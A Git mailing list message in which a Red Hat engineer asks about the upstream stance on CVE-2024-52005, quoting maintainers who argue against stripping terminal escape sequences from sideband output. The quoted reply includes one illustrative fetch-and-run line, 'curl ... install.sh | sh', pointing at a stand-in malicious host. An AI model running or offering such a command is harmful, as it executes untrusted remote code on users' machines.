Hi, I see that CVE-2024-52005 [0] has been assigned to this issue. From the discussion, it seems the fix may not be shipped in the near future, if at all. Could you please confirm if I understand this correctly? Specifically, that this is not being treated as a vulnerability and that the proposed fix might introduce regressions for certain use cases? We are bound by SLAs and need to decide soon whether to provide fixed versions of Git in RHEL. Having clarity on the upstream stance would be very helpful for our decision. Right now, we are inclined not to ship these fixes unless they are accepted upstream. [0] https://github.com/git/git/security/advisories/GHSA-7jjc-gg6m-3329 Best regards, Ondřej Pohořelský On Thu, Jan 16, 2025 at 7:47 AM Junio C Hamano <gitster@xxxxxxxxx> wrote: > > "brian m. carlson" <sandals@xxxxxxxxxxxxxxxxxxxx> writes: > > > Where pre-receive hooks are available, people frequently run various > > commands to test and analyze code in them, including build or static > > analysis tools, such as Rust's Cargo. Cargo is capable of printing a > > wide variety of escape sequences in its output, including `\e[K`, which > > overwrites text to the right (e.g., for progress bars and status output > > much like Git produces), and sequences for hyperlinks. Stripping these > > sequences would break the output in ways that would be confusing to the > > user (since they work fine in a regular terminal) and hard to > > reproduce or fix. > > You have ruled out the attack vector that lets bytestream sent to > the terminal emulator to somehow cause arbitrary input bytes added > (which may require the final <ENTER> from the user but that is not > much of consolation), and I tend to agree with you on that point. > > With that misfeature out of the picture, I am not sure why terminal > escape sequences that may clear or write-over things on the screen > are of particular interest. If the malicious remote end says > something like > > To proceed, open another window and type this command: > > $ curl https://my.malicious.xz/install.sh | sh > > to its output, even if the message is shown with the "remote: " > prefix on the receiving local client, wouldn't that cause certain > percentage of end-user population to copy-and-paste that command > anyway? > > > I agree that this would have been a nice feature to add at the beginning > > of the development of the sideband feature, but I fear that it is too > > late to make an incompatible change now. > > So I am not so sure even it would have been a "nice feature" to disallow > sideband messages to carry terminal escape sequences to begin with. > > > I realize that you've provided an escape hatch, but as we've seen with > > other defense-in-depth measures, that doesn't avoid the inconvenience > > and hassle of dealing with those changes and the costs of deploying > > fixes everywhere. > > One more thing that I am not so happy about these "escape hatches" > is that they tend to be all or nothing (not limited to this round, > but common to other defense-in-depth attempts). Having to say "I > trust them completely" is something that would make people uneasy. > > > We need to consider the costs and impact of these > > patches on our users, including the burden of dealing with incompatible > > changes, and given the fact that this problem can occur in a wide > > variety of other contexts which you are not solving here and which would > > be better solved more generally in terminal emulators themselves, I > > don't think the benefits of this approach outweigh the downsides. > > > > I do agree that there are terminal emulators which have some surprising > > and probably insecure behaviour, as we've discussed in the past, but > > because I believe those issues are more general and could be a problem > > for any terminal-using program, I continue to believe that those issues > > are best addressed in the terminal emulator itself. > -- Ondřej Pohořelský Software Engineer Red Hat opohorel@xxxxxxxxxx
